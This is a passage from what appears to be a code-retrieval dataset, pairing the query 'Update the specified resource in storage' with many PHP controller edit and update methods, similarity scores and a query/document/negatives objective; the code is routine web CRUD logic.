'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update','attr'=> array(\n 'class'=>'btn btn primary'\n )));\n\n return $form;\n }", "private function createEditForm(Resource $entity)\n {\n $form = $this->createForm(new ResourceType(), $entity, array(\n 'action' => $this->generateUrl('social_admin_resource_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => '保存','attr'=>[\n 'class'=>'btn btn-primary'\n ]));\n\n return $form;\n }", "public function edit($id)\n {\n return $this->showForm('update', $id);\n }", "public function edit($id)\n {\n return $this->showForm('update', $id);\n }", "public function editAction()\n {\n if ($form = $this->processForm()) {\n if ($this->useTabbedForms && method_exists($this, 'getSubject')) {\n $data = $this->getModel()->loadFirst();\n $subject = $this->getSubject($data);\n $this->setPageTitle(sprintf($this->_('Edit %s %s'), $this->getTopic(1), $subject));\n } else {\n $this->setPageTitle(sprintf($this->_('Edit %s'), $this->getTopic(1)));\n }\n $this->html[] = $form;\n }\n }", "public function edit($id)\n {\n $this->data['entity'] = GS_Form::where('id', $id)->firstOrFail();\n return view('admin.pages.forms.edit', $this->data);\n }", "public function edit($id)\n\t{\n\t\t// get the fbf_presenca\n\t\t$fbf_presenca = FbfPresenca::find($id);\n\n\t\t\n\t\t// show the edit form and pass the fbf_presenca\n\t\t$this->layout->content = View::make('fbf_presenca.edit')\n->with('fbf_presenca', $fbf_presenca);\n\t}", "public function edit($id)\n {\n $data = $this->model->find($id);\n\n return view('admin.backends.employee.form.edit',compact('data'));\n }", "public function edit($model, $form);", "function edit() {\n\t\tglobal $tpl;\n\n\t\t$form = $this->initForm();\n\t\t$tpl->setContent($form->getHTML());\n\t}", "public function edit($id)\n\t{\n\t\t$faith = Faith::find($id);\n \n return view('faith.form')->with('faith', $faith);\n\n\t}", "public function edit()\n { \n return view('admin.control.edit');\n }", "public function edit(Form $form)\n {\n //\n }", "public function edit()\n {\n return view('common::edit');\n }", "public function edit($id)\n {\n $resource = (new AclResource())->AclResource;\n $roleResource = AclRole::where('role', $id)->get(['resource'])->toArray();\n $roleResource = Arr::pluck($roleResource, 'resource');\n return view('Admin.acl.role.form', [\n 'role' => $id,\n 'resource' => $resource,\n 'roleResource' => $roleResource,\n ]);\n }", "public function edit()\n {\n return view('admin::edit');\n }", "public function edit()\n {\n return view('admin::edit');\n }", "public function edit()\r\n {\r\n return view('petro::edit');\r\n }", "public function edit($id)\n {\n // show form edit user info\n }", "public function edit()\n {\n return view('escrow::edit');\n }", "public function edit($id)\n {\n $resource = ResourceManagement::find($id);\n\n $users = User::get();\n // Redirect to user list if updating user wasn't existed\n if ($resource == null || $resource->count() == 0) {\n return redirect()->intended('/resource-management');\n }\n\n return view('resources-mgmt/edit', ['resource' => $resource, 'users' => $users]);\n }", "public function edit()\n {\n return view('commonmodule::edit');\n }", "public function editAction()\n\t{\n\t\t$params = $this->data->getParams();\n\t\t$params = $this->valid->clearDataArr($params);\n\t\tif (isset($params['id']))\n\t\t{\n\t\t\t$this->employee->setFlag(true);\n\t\t}\n\t\tif (isset($_POST['submit']))\n\t\t{\n\t\t\t$action = $this->valid->clearDataArr($_POST);\n\t\t\t$this->employee->setDataArray($action);\n\t\t\theader('Location: ' . PATH . 'Employee/index/', true, 303);\n\t\t}\n\t\t$employee = $this->employee->setAction('edit');\n\t\t$this->view->addToReplace($employee);\n\t\t$this->listEmployee();\n\t\t$this->arrayToPrint();\n\t}", "public function edit()\n {\n return view('catalog::edit');\n }", "public function edit()\n {\n return view('catalog::edit');\n }", "public function edit(form $form)\n {\n //\n }", "public function actionEdit($id) { }", "public function edit()\n {\n return view('admincp::edit');\n }", "public function edit()\n {\n return view('scaffold::edit');\n }", "public function edit($id)\n {\n $header = \"Edit\";\n\t\t$data = Penerbit::findOrFail($id);\n\t\treturn view('admin.penerbit.form', compact('data','header'));\n }", "public function edit()\n {\n return view('Person.edit');\n }", "public function edit($id)\n {\n $data = Form::find($id);\n return view('form.edit', compact('data'));\n }", "public function edit($id)\n\t{\n\t\t$career = $this->careers->findById($id);\n\t\treturn View::make('careers._form', array('career' => $career, 'exists' => true));\n\t}", "public function edit($id, Request $request)\n {\n $formObj = $this->modelObj->find($id);\n\n if(!$formObj)\n {\n abort(404);\n } \n\n $data = array();\n $data['formObj'] = $formObj;\n $data['page_title'] = \"Edit \".$this->module;\n $data['buttonText'] = \"Update\";\n\n $data['action_url'] = $this->moduleRouteText.\".update\";\n $data['action_params'] = $formObj->id;\n $data['method'] = \"PUT\"; \n\n return view($this->moduleViewName.'.add', $data);\n }", "public function edit($id)\n\t{\n\t\t// get the material\n\t\t$material = Material::find($id);\n\n\t\t// show the edit form and pass the material\n\t\t$this->layout->content = View::make('material.edit')\n\t\t\t->with('material', $material);\n\t}", "public function edit(Flight $exercise, FlightResource $resource)\n {\n return $this->viewMake('adm.smartcars.exercise-resources.edit')\n ->with('flight', $exercise)\n ->with('resource', $resource);\n }", "public function edit()\n {\n $id = $this->getId();\n return view('panel.user.form', [\n 'user' => $this->userRepository->findById($id),\n 'method' => 'PUT',\n 'routePrefix' => 'profile',\n 'route' => 'profile.update',\n 'parameters' => [$id],\n 'breadcrumbs' => $this->getBreadcrumb('Editar')\n ]);\n }", "public function edit()\r\n {\r\n return view('mpcs::edit');\r\n }", "function edit()\n\t{\n\t\t// hien thi form sua san pham\n\t\t$id = getParameter('id');\n\t\t$product = $this->model->product->find_by_id($id);\n\t\t$this->layout->set('auth_layout');\n\t\t$this->view->load('product/edit', [\n\t\t\t'product' => $product\n\t\t]);\n\t}", "public function edit($id)\n {\n //\n $data = Diskon::find($id);\n\n $form = $this->form;\n $edit = $this->edit;\n $field = $this->field;\n $page = $this->page;\n $id = $id;\n $title = $this->title;\n return view('admin/page/'.$this->page.'/edit',compact('form','edit','data','field','page','id','title'));\n }", "public function edit($id)\n {\n return $this->showForm($id);\n }", "public function edit($id)\n {\n return $this->showForm($id);\n }", "protected function _edit(){\n\t\treturn $this->_editForm();\n\t}", "public function editAction()\n {\n $robot = Robots::findFirst($this->session->get(\"robot-id\"));\n if ($this->request->isGet()) {\n $this->tag->prependTitle(\"Редактировать робота :: \");\n $user = $this->session->get(\"auth-id\");\n if (!$robot) {\n $this->flashSession->error(\n \"Робот не найден\"\n );\n return $this->response->redirect(\"users/usershow/$user->name\");\n }\n\n }\n\n $this->view->form = new RobotForm(\n $robot,\n [\n \"edit\" => true,\n ]\n );\n }", "public function editAction()\n {\n $form = new $this->form();\n\n $request = $this->getRequest();\n $param = $this->params()->fromRoute('id', 0);\n\n $repository = $this->getEm()->getRepository($this->entity);\n $entity = $repository->find($param);\n\n if ($entity) {\n\n $form->setData($entity->toArray());\n\n if ( $request->isPost() ) {\n\n $form->setData($request->getPost());\n\n if ( $form->isValid() ) {\n\n $service = $this->getServiceLocator()->get($this->service);\n $service->update($request->getPost()->toArray());\n\n return $this->redirect()->toRoute($this->route, array('controller' => $this->controller));\n }\n }\n } else {\n return $this->redirect()->toRoute($this->route, array('controller' => $this->controller));\n }\n\n return new ViewModel(array('form' => $form, 'id' => $param));\n\n }", "public function edit($id)\n\t{\n\t\t$SysApplication = \\Javan\\Dynaflow\\Domain\\Model\\SysApplication::find($id);\n\t\t$form = \\FormBuilder::create('Javan\\Dynaflow\\FormBuilder\\SysApplicationForm', [\n \t'method' => 'POST',\n \t'url' => 'sysapplication/update/'.$id,\n \t'model' => $SysApplication,\n \t'data' => [ 'flow_id' => $SysApplication->flow_id]\n \t]);\n\t\treturn View::make('dynaflow::sysapplication.form', compact('form', 'SysApplication'));\n\t}", "public function editAction() {\n\t\t$id = (int) $this->_getParam('id');\n\t\t$modelName = $this->_getParam('model');\n\t\t\n\t\t$model = Marcel_Backoffice_Model::factory($modelName);\n\t\t$item = $model->find($id)->current();\n\t\tif (!$item) {\n\t\t\t$item = $model->createRow();\n\t\t}\n\t\t$form = $item->getForm();\n\t\tif ($this->_request->isPost()) {\n\t\t\t$newId = $form->populate($this->_request->getPost())->save();\n\t\t\tif ($newId) {\n\t\t\t\t$this->_helper->flashMessenger('Saved successfully!');\n\t\t\t\t$this->_helper->redirector('edit', null, null, array('id' => $newId, 'model' => $modelName));\n\t\t\t}\n\t\t}\n\t\t$this->view->form = $form;\n\t\t$this->view->messages = $this->_helper->flashMessenger->getMessages();\n\t}", "public function edit($id)\n {\n return view('models::edit');\n }", "public function edit()\n {\n return view('home::edit');\n }", "public function editAction()\n {\n $id = $this->params()->fromRoute('id');\n $entity = $this->entityManager->find(Entity\\CourtClosing::class, $id);\n if (! $entity) {\n // to do: deal with it\n }\n $form = $this->getForm('update');\n $form->bind($entity);\n if ($this->getRequest()->isPost()) {\n return $this->post();\n }\n\n return new ViewModel(['form' => $form]);\n }", "public function editAction($id)\n {\n $entity = $this->getManager()->find($id);\n\n $breadcrumbs = $this->get(\"white_october_breadcrumbs\");\n $breadcrumbs->addItem('Inicio', $this->get('router')->generate('admin.homepage'));\n $breadcrumbs->addItem($this->entityDescription, $this->get(\"router\")->generate(\"admin.$this->entityName.index\"));\n $breadcrumbs->addItem('Editar');\n\n if (!$entity) {\n throw $this->createNotFoundException('No se ha encontrado el elemento');\n }\n\n $form = $this->getForm($entity);\n\n return $this->render('AdminBundle:Default:edit.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n 'metadata' => $this->getMetadata()\n ));\n }", "public function edit()\n {\n return view('user::edit');\n }", "public function edit()\n {\n return view('user::edit');\n }", "public function edit(Form $form)\n {\n return view('admin.forms.edit', compact('form'));\n }", "public function editAction()\n {\n $form = MediaForm::create($this->get('form.context'), 'media');\n $media = $this->get('media_manager.manager')->findOneById($this->get('request')->get('media_id'));\n \n $form->bind($this->get('request'), $media);\n \n return $this->render('MediaManagerBundle:Admin:form.html.twig', array('form' => $form, 'media' => $media));\n }", "public function editAction($id) {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('CdlrcodeBundle:Question')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Question entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('CdlrcodeBundle:Question:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function edit($id)\n {\n return view('consultas::edit');\n }", "public function edit(DirectorFormBuilder $form, $id)\n {\n return $form->render($id);\n }", "public function edit()\n {\n return view('dashboard::edit');\n }", "public function edit($id){\n $rfid = Rfid::find($id);\n\n //load form view\n return view('rfids.edit', ['rfid' => $rfid]);\n }", "public function edit($id)\n {\n\n // retrieve provider\n $provider = Provider::findOrFail($id);\n\n // return form with provider\n return view('backend.providers.form')->with('provider', $provider);\n }", "public function edit() {\n return view('routes::edit');\n }", "public function edit(Question $question)\n {\n $this->employeePermission('application' , 'edit');\n $question->chooses;\n $action = 'edit';\n return view('admin.setting.question_form', compact('action' , 'question'));\n }", "public function edit($id)\n {\n $this->data['product'] = Product::find($id);\n $this->data['category'] = Category::arrForSelect();\n $this->data['title'] = \" Update Prouct Details\";\n $this->data['mode'] = \"edit\";\n\n return view('product.form', $this->data);\n }", "public function edit(ClueEnFormBuilder $form, $id): Response\n {\n return $form->render($id);\n }", "public function editAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('BaseBundle:Feriado')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Feriado entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('BaseBundle:Feriado:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function edit($id)\n {\n return view('cataloguemodule::edit');\n }", "public function edit($articulo_id)\n {\n $titulo = \"Editar\";\n return View(\"articulos.formulario\",compact('titulo','articulo_id'));\n }", "public function edit($id)\n {\n $resources = User::find(session('usuario_id'))->resources;\n $languages = Language::pluck('name', 'id');\n $types = Type::pluck('name', 'id');\n $method = 'PATCH';\n\n $recurso = Resource::find($id);\n $url = \"/resource/$recurso->id\";\n\n return view('resources.resources', compact('resources', 'languages', 'types', 'method', 'url', 'recurso'));\n }", "public function displayEditForm(Employee $employee){\n return view('employee.displayEditForm',['employee'=>$employee]);\n }", "public function edit(Question $question)\n {\n $edit = TRUE;\n return view('questionForm', ['question' => $question, 'edit' => $edit]);\n }", "public function edit()\n {\n return view('website::edit');\n }", "public function edit()\n {\n return view('inventory::edit');\n }", "public function editAction()\n {\n View::renderTemplate('Profile/edit.html', [\n 'user' => $this->user\n ]);\n }", "public function edit()\n {\n return view('initializer::edit');\n }", "public function edit($id)\n {\n return view('backend::edit');\n }", "public function edit($id)\n {\n return view('crm::edit');\n }", "public function edit($id)\n {\n return view('crm::edit');\n }", "public function edit($id)\n {\n //dd($id);\n $familiaPrograma= FamiliaPrograma::findOrFail($id);\n return view('familiasPrograma.edit', compact('familiaPrograma'));\n }", "public function edit($id)\n {\n $user = User::where('id', $id)->first();\n\n\n return view('users.forms.update', compact('user'));\n }", "public function editAction($id)\n\t{\n\t\t$school = School::find( $id );\n\t\t$this->render( View::make( 'schools/form' , array(\n\t\t\t'title' => sprintf( 'Modifier \"%s\"', $school->name ),\n\t\t\t'entity' => $school\n\t\t) ) );\n\t}", "public function edit($id)\n {\n \t$product = Product::find($id);\n \treturn view('admin.products.edit')->with(compact('product')); // formulario de actualizacion de datos del producto\n }", "public function edit_person($person_id){\n \t$person = Person::find($person_id);\n \treturn view('resource_detail._basic_info.edit',compact('person'));\n }", "public function edit($id)\n {\n $data = Restful::find($id);\n return view('restful.edit', compact('data'));\n }", "public function edit(Question $question)\n {\n $edit = TRUE;\n return view('questionForm', ['question' => $question, 'edit' => $edit ]);\n }", "public function edit($id)\n {\n $professor = $this->repository->find($id);\n return view('admin.professores.edit',compact('professor'));\n }", "public function edit(Person $person) {\n\t\t$viewModel = new PersonFormViewModel();\n\t\treturn view('person.form', $viewModel);\n\t}", "public function edit($id)\n {\n return $this->form->render('mconsole::personal.form', [\n 'item' => $this->person->query()->with('uploads')->findOrFail($id),\n ]);\n }", "public function editAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('MedecinIBundle:Fichepatient')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Fichepatient entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('MedecinIBundle:Fichepatient:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function edit($id)\n\t{\n\t\t // get the project\n $project = Project::find($id);\n\n // show the edit form and pass the project\n return View::make('logicViews.projects.edit')->with('project', $project);\n\t}" ]
[ "0.78561044", "0.7695814", "0.72755414", "0.72429216", "0.71737534", "0.7064628", "0.7056257", "0.69859976", "0.6949863", "0.6948435", "0.6942811", "0.69298875", "0.69032556", "0.6900465", "0.6900465", "0.6880163", "0.6865618", "0.68620205", "0.6859499", "0.6847944", "0.6837563", "0.6812879", "0.68089813", "0.6808603", "0.68049484", "0.67966837", "0.6795056", "0.6795056", "0.67909557", "0.6787095", "0.67825735", "0.67783386", "0.6771208", "0.67658216", "0.67488056", "0.67488056", "0.67481846", "0.67474896", "0.67430425", "0.6737776", "0.67283165", "0.6715326", "0.66959506", "0.66939133", "0.6690822", "0.6690126", "0.66885006", "0.6687302", "0.6685716", "0.6672116", "0.6671334", "0.6667436", "0.6667436", "0.6664605", "0.6663487", "0.6662144", "0.6659632", "0.6658028", "0.66556853", "0.6645572", "0.66350394", "0.66338056", "0.6630717", "0.6630717", "0.66214246", "0.66212183", "0.661855", "0.6617633", "0.6612846", "0.66112465", "0.66079855", "0.65980226", "0.6597105", "0.6596064", "0.6593222", "0.65920717", "0.6589676", "0.6582856", "0.65828097", "0.6582112", "0.6578338", "0.65776545", "0.65774703", "0.6572131", "0.65708333", "0.65703875", "0.6569249", "0.6564464", "0.6564464", "0.65628386", "0.6560576", "0.6559898", "0.65583706", "0.6558308", "0.6557277", "0.65571105", "0.6557092", "0.6556115", "0.655001", "0.6549598", "0.6547666" ]
0.0
-1
Update the specified resource in storage.
public function update(Request $request, $id) { $poste_charges = Poste_charge::findOrFail($id); $poste_charges->id_operation = $request->id_operation; $poste_charges->num_section = $request->num_section; $poste_charges->num_soussection = $request->num_soussection; $poste_charges->machine = $request->machine; $poste_charges->main_oeuvre = $request->main_oeuvre; $poste_charges->designation = $request->designation; $poste_charges->taux_horaire_forfait = $request->taux_horaire_forfait; $poste_charges->nbre_poste = $request->nbre_poste; $poste_charges->capacité_nominale = $request->capacité_nominale; $poste_charges->commentaire = $request->commentaire; $poste_charges->save(); return response()->json($poste_charges); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function updateShopifyResource() {\n $this->saving();\n $this->getShopifyApi()->call([\n 'URL' => API::PREFIX . $this->getApiPathSingleResource(),\n 'METHOD' => 'PUT',\n 'DATA' => [\n static::getResourceSingularName() => $this->shopifyData\n ]\n ]);\n }", "public function update(Request $request, Resource $resource)\n {\n $request->validate([\n 'name' => 'required',\n 'description' => 'required|string',\n 'file' => 'required|mimes:jpg,jpeg,png,doc,docx,pdf,ppt,txt',\n ]);\n\n $resource->update($request->all());\n\n if ( $request->hasFile('file') ) {\n $resource = 'resource-'.time().'.'.$request->file('file')->extension();\n $request->file->storeAs('resources', $resource,'public');\n $resource->file = $resource;\n }\n\n if ( $resource->save() ) {\n return redirect()->route('admin.resources.index')->with('success', 'Resource updated');\n } else {\n return redirect()->route('admin.resources.index')->with('error', 'Something went wrong');\n }\n }", "public function update(Request $request, Resource $resource)\n {\n //\n }", "public function updateStream($resource);", "public function update(Request $request, Storage $storage)\n {\n $storage->product_id = $request->product_id;\n $storage->amount = $request->amount;\n\n $storage->save();\n\n return redirect()->route('storages.index');\n }", "protected function updateImageResource($fileName, $imageId, $storage)\n {\n //Get image name and storage location for image\n $image = Image::where('id', '=', $imageId)->first();\n\n //Delete old image\n $this->deleteResource($image->name, $image->storage);\n\n //Store the new image\n $image->name = $fileName;\n $image->storage = $storage;\n\n $image->save();\n }", "public function update(Storage $storage, UpdateStorageRequest $request)\n {\n $this->storage->update($storage, $request->all());\n\n return redirect()->route('admin.product.storage.index')\n ->withSuccess(trans('core::core.messages.resource updated', ['name' => trans('product::storages.title.storages')]));\n }", "public function update(StoreStorage $request, Storage $storage)\n {\n $storage->fill($request->all())->save();\n $request->session()->flash('alert-success', 'Запись успешно обновлена!');\n return redirect()->route('storage.index');\n }", "public function update_asset($id, Request $request){\n \t\tif(!Auth::user()){\n\t\t\treturn redirect('/');\n\t\t}\n \t\t$asset = Storage::find($id);\n \t\t$asset->name = $request->name;\n \t\t$asset->quantity = $request->quantity;\n \t\t$asset->category_id = $request->category;\n \t\tif($request->file('image') != null){\n\t\t\t$image = $request->file('image');\n\t\t\t$image_name = time(). \".\" . $image->getClientOriginalExtension();\n\t\t\t$destination = \"images/\";\n\t\t\t$image->move($destination, $image_name);\n\t\t\t$asset->image_url = $destination.$image_name;\n\t\t} \n\t\t$asset->save();\n\t\tsession()->flash('success_message', 'Item Updated successfully');\n\t\treturn redirect(\"/storage\");\n \t}", "public function update(Request $request, Flight $exercise, FlightResource $resource)\n {\n $request->validate([\n 'display_name' => 'required|string|max:100',\n 'file' => 'nullable|file|max:10240|mimes:pdf',\n 'uri' => 'nullable|url|max:255',\n ]);\n\n if ($resource->type === 'file' && $request->file('file')) {\n Storage::drive('public')->delete($resource->resource);\n $resource->resource = $request->file('file')->store('smartcars/exercises/resources', ['disk' => 'public']);\n } elseif ($resource->type === 'uri' && $request->input('uri')) {\n $resource->resource = $request->input('uri');\n }\n\n $resource->save();\n\n return redirect()->route('adm.smartcars.exercises.resources.index', $exercise)\n ->with('success', 'Resource edited successfully.');\n }", "public function update(Request $request, $id)\n {\n $validator = Validator::make($request->all(), [\n 'title' => 'required|string',\n 'content' => 'required|string',\n 'mentoring_area_id' => 'required|integer',\n 'featured_image_uri' => 'string',\n ]);\n\n if ($validator->fails()) {\n return APIHandler::response(0, $validator->errors(), 400);\n }\n \n $resource = Resource::find($id);\n $resource->title = $request->get('title');\n $resource->content = $request->get('content');\n $resource->featured_image_uri = $request->get('featured_image_uri');\n $resource->updated_at = \\Carbon\\Carbon::now();\n $resource->mentoring_area_id = $request->get('mentoring_area_id');\n $resource->save();\n $data['resource'] = $resource;\n return APIHandler::response(1, \"Resource has been updated\");\n }", "protected function updateVideoResource($fileName, $videoId, $storage, $premium=1)\n {\n //Get video name and storage location for video\n $video = Video::where('id', '=', $videoId)->first();\n\n //Check the storage medium\n if($storage == 'vimeo' || $storage == 'youtube')\n {\n $video->name = $fileName;\n $video->storage = $storage;\n $video->premium = $premium;\n $video->save();\n }\n else\n {\n if($video['storage'] == 'local' || $video['storage'] == 's3')\n {\n //Delete old video\n $this->deleteResource($video->name, $video->storage);\n }\n \n //Store the new video\n $video->name = $fileName;\n $video->storage = $storage;\n $video->premium = $premium;\n $video->save();\n }\n }", "public function put($resource, $with=[]){\n return $this->fetch($resource, self::PUT, $with);\n }", "public function update($id, $resource) {\n SCA::$logger->log(\"update resource\");\n return $this->orders_service->update($id, $resource);\n }", "public function update($path);", "public function update($id, $resource)\n {\n SCA::$logger->log(\"Entering update()\");\n //check whether it is an sdo or an xml string.\n if ($resource instanceof SDO_DataObjectImpl) {\n //if the thing received is an sdo convert it to xml\n if ($this->xml_das !== null) {\n $xml = SCA_Helper::sdoToXml($this->xml_das, $resource);\n } else {\n throw new SCA_RuntimeException(\n 'Trying to update a resource with SDO but ' .\n 'no types specified for reference'\n );\n }\n } else {\n $xml = $resource;\n }\n\n $slash_if_needed = ('/' === $this->target_url[strlen($this->target_url)-1])?'':'/';\n\n $handle = curl_init($this->target_url.$slash_if_needed.\"$id\");\n curl_setopt($handle, CURLOPT_HEADER, false);\n curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);\n curl_setopt($handle, CURLOPT_CUSTOMREQUEST, \"PUT\");\n curl_setopt($handle, CURLOPT_POSTFIELDS, $xml);\n\n //replace with Content-Type: atom whatever\n $headers = array(\"User-Agent: SCA\",\n \"Content-Type: text/xml;\",\n \"Accept: text/plain\");\n curl_setopt($handle, CURLOPT_HTTPHEADER, $headers);\n\n $result = curl_exec($handle);\n\n $response_http_code = curl_getinfo($handle, CURLINFO_HTTP_CODE);\n\n curl_close($handle);\n\n $response_exception = $this->buildResponseException($response_http_code, '200');\n\n if ($response_exception != null) {\n throw $response_exception;\n } else {\n //update does not return anything in the body\n return true;\n }\n }", "public function update(Request $request, $id)\n {\n $this->validate($request, [\n 'name' => 'required',\n 'link' => 'required',\n 'description' => 'required'\n ]);\n\n $resource = Resource::find($id);\n $resource->name = $request->name;\n $resource->type_id = $request->type_id;\n $resource->has_cost = ($request->has('has_cost')) ? 1 : 0;\n $resource->language_id = $request->language_id;\n $resource->link = $request->link;\n $resource->description = $request->description;\n $resource->tags = '';\n\n $resource->save();\n //return back()->with('success', 'Recurso actualizado satisfactoriamente');\n return redirect('/resource')->with('success', 'Recurso actualizado satisfactoriamente');\n }", "public function update(Request $request, $id)\n {\n $oldProduct = Product::findOrFail($id);\n $data = $request->all();\n if(isset($data['img'])){\n // $file = $request->file('photo');\n // return $file;\n $imgName = time().'.'.$request->img->extension();\n $data['img'] = $imgName;\n // Storage::putFile('spares', $file);\n $path = $request->img->storeAs('public/uploads', $imgName); //in Storage\n\n //delete old file\n if($oldProduct->img != 'product-default.png'){\n Storage::delete(\"public/uploads/\".$oldProduct->img);\n // return 'deleted';\n }\n \n }else{\n $data['img'] = $oldProduct->img;\n }\n $oldProduct->update($data);\n return redirect()->route('product.index'); \n\n }", "public function update($request, $id) {\n\t\t\t$image = $request['photo'];\n\t\t\tif($image !== null) {\n\t\t\t\t$name = time().'.' . explode('/', explode(':', substr($image, 0, strpos($image, ';')))[1])[1];\n\t\t\t\t\\Image::make($request['photo'])->save(public_path('storage/products/').$name);\n\t\t\t\t$request['photo'] = $name;\n\t\t\t} else {\n\t\t\t\t$currenPhoto = Product::all()->where('id', $id)->first();\n\t\t\t\t$request['photo'] = $currenPhoto->photo;\n\t\t\t}\n return $this->product->update($id, $request);\n\t}", "public function updateStream($path, $resource, Config $config)\n {\n }", "public function edit(Resource $resource)\n {\n //\n }", "public function updateResourceIndex(&$resource) {\n if ($this->connector != null) {\n\n // STEP 1: Update or insert this resource as a node:\n $this->logger->addDebug(\"Updating/Inserting Node into Neo4J database\");\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id} }) SET a.title = {title}, a.version = {version}, a.href = {href}\n return a;\",\n [\n 'id' => $resource->getID(),\n 'version' => $resource->getVersion(),\n 'title' => $resource->getTitle(),\n 'href' => $resource->getLink()\n ]\n );\n\n // Check to see if anything was added\n $records = $result->getRecords();\n if (empty($records)) {\n // Must create this record instead\n $result = $this->connector->run(\"CREATE (n:Resource) SET n += {infos};\",\n [\n \"infos\" => [\n 'id' => $resource->getID(),\n 'version' => $resource->getVersion(),\n 'title' => $resource->getTitle(),\n 'href' => $resource->getLink()\n ]\n ]\n );\n }\n\n // STEP 2: Update or insert the resource's link to holding repository\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id} })-[r:HIRELATION]->()\n return r;\",\n [\n 'id' => $resource->getID(),\n ]\n );\n $records = $result->getRecords();\n if (!empty($records)) {\n // delete the one there so that we can add the correct one (just in case)\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id}})-[r:HIRELATION]->() delete r;\",\n [\n 'id' => $resource->getID()\n ]\n );\n\n }\n\n // If resource has a repository, then add a link\n if ($resource->getRepository() != null && $resource->getRepository()->getID() != null) {\n $this->connector->run(\"MATCH (a:Identity {id: {id1} }) MATCH (b:Resource {id: {id2} }) CREATE (b)-[r:HIRELATION]->(a);\",\n [\n 'id1' => (string) $resource->getRepository()->getID(),\n 'id2' => $resource->getID()\n ]);\n }\n }\n }", "public function update($data) {}", "public function update($data) {}", "public function putStream($resource);", "public function update(Request $request, NebulaResource $resource, $item): RedirectResponse\n {\n $this->authorize('update', $item);\n\n $validated = $request->validate($resource->rules(\n $resource->editFields()\n ));\n\n $resource->updateQuery($item, $validated);\n\n $this->toast(__(':Resource updated', [\n 'resource' => $resource->singularName(),\n ]));\n\n return redirect()->back();\n }", "public function saveShopifyResource() {\n if (is_null($this->getShopifyId())) { // if there is no id...\n $this->createShopifyResource(); // create a new resource\n } else { // if there is an id...\n $this->updateShopifyResource(); // update the resource\n }\n }", "public function update($entity);", "public function update($entity);", "public function setResource($resource);", "public function updateStream($path, $resource, Config $config)\n {\n return $this->upload($path, $resource, $config);\n }", "public function isUpdateResource();", "public function update(Request $request, $id)\n {\n $device = Device::findOrFail($id);\n $device->fill($request->all());\n if ($request->hasFile('icon')) {\n if ($device->hasMedia('icon')) {\n $device->deleteMedia($device->getFirstMedia('icon'));\n }\n $device->addMediaFromRequest('icon')->toMediaCollection('icon');\n }\n $device->save();\n return new DeviceResource($device);\n }", "public function update(Request $request, $id)\n {\n //\n $product = Product::findOrFail($id);\n \n $product->update($request->all());\n \n $file = $request->file('url_image')->move('upload', $request->file('url_image')->getClientOriginalName());\n\n Product::where('id',$id)->update(['url_image'=>$file]);\n \n \\Session::flash('flash_message', 'Edit product successfully.'); \n \n //cũ : return redirect('articles');\n return redirect()->route('products.index');\n }", "public function store($data, Resource $resource);", "public function update(Request $request, $id)\n {\n \n $product = Product::find($id);\n\n\n $product->fill($request->all())->save();\n\n //Verificamos que tenemos una imagen\n if($request->file('photo_1')){\n\n\n //En caso de tenerla la guardamos en la clase Storage en la carpeta public en la carpeta image.\n $path = Storage::disk('public')->put('photo_1',$request->file('photo_1'));\n\n //Actualizamos el Post que acabamos de crear\n $product->fill(['photo_1' => asset($path)])->save();\n\n }\n\n\n return redirect()->route('products.index')->with('info', 'Producto actualizado exitosamente!');\n }", "public function update(Request $request, $id)\n {\n $product = Product::find($id);\n\n if (\\Input::hasFile('image')) {\n $this->imgsave($request, $product);\n }\n\n\n if (!empty($request->input('tags'))) {\n $product->tags()->sync($request->input('tags'));\n } else {\n $product->tags()->detach();\n }\n\n $product->update($request->all());\n\n return redirect()->to('dashboard/product')->with('message', 'update success');\n }", "public function put($resource_path, array $variables = array()) {\n return $this->call($resource_path, $variables, 'PUT');\n }", "public function update($id)\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n if (method_exists($this, 'updateValidations')) {\n $this->request->validate($this->updateValidations());\n }\n\n /* Get the specified resource */\n $resource = $this->model::findOrFail($id);\n\n /* Update the specified resource */\n $resource->update(Input::all());\n\n /* Redirect back */\n return redirect()->back()\n ->with(\n 'info',\n Lang::has($this->name . '.resource-updated') ?\n $this->name . '.resource-updated' :\n 'messages.alert.resource-updated'\n );\n }", "public function putResponse($request)\n {\n $idSearched = $this->searcher->searchResourceIndex(\n $request, \n $this->db[$request['resource']]\n );\n if ($idSearched) {\n $resource = $this->db[$request['resource']][$idSearched];\n $bodyInput = json_decode($this->standardInput, true);\n $resource = BodyRequest::canApplyBody($bodyInput);\n $resource['id'] = (int)$request['param'];\n foreach($resource as $key => $value) {\n $this->db[$request['resource']][$idSearched][$key] = $value;\n }\n file_put_contents(DB_PATH, json_encode($this->db));\n }\n }", "public function update(Storedataset $request, dataset $dataset){\n $dataset->title = $request->input('title');\n $dataset->caption = $request->input('caption');\n $dataset->file_url = $request->input('file_url');\n $dataset->type = $request->input('type');\n $dataset->status = $request->input('status');\n $dataset->publication_id = 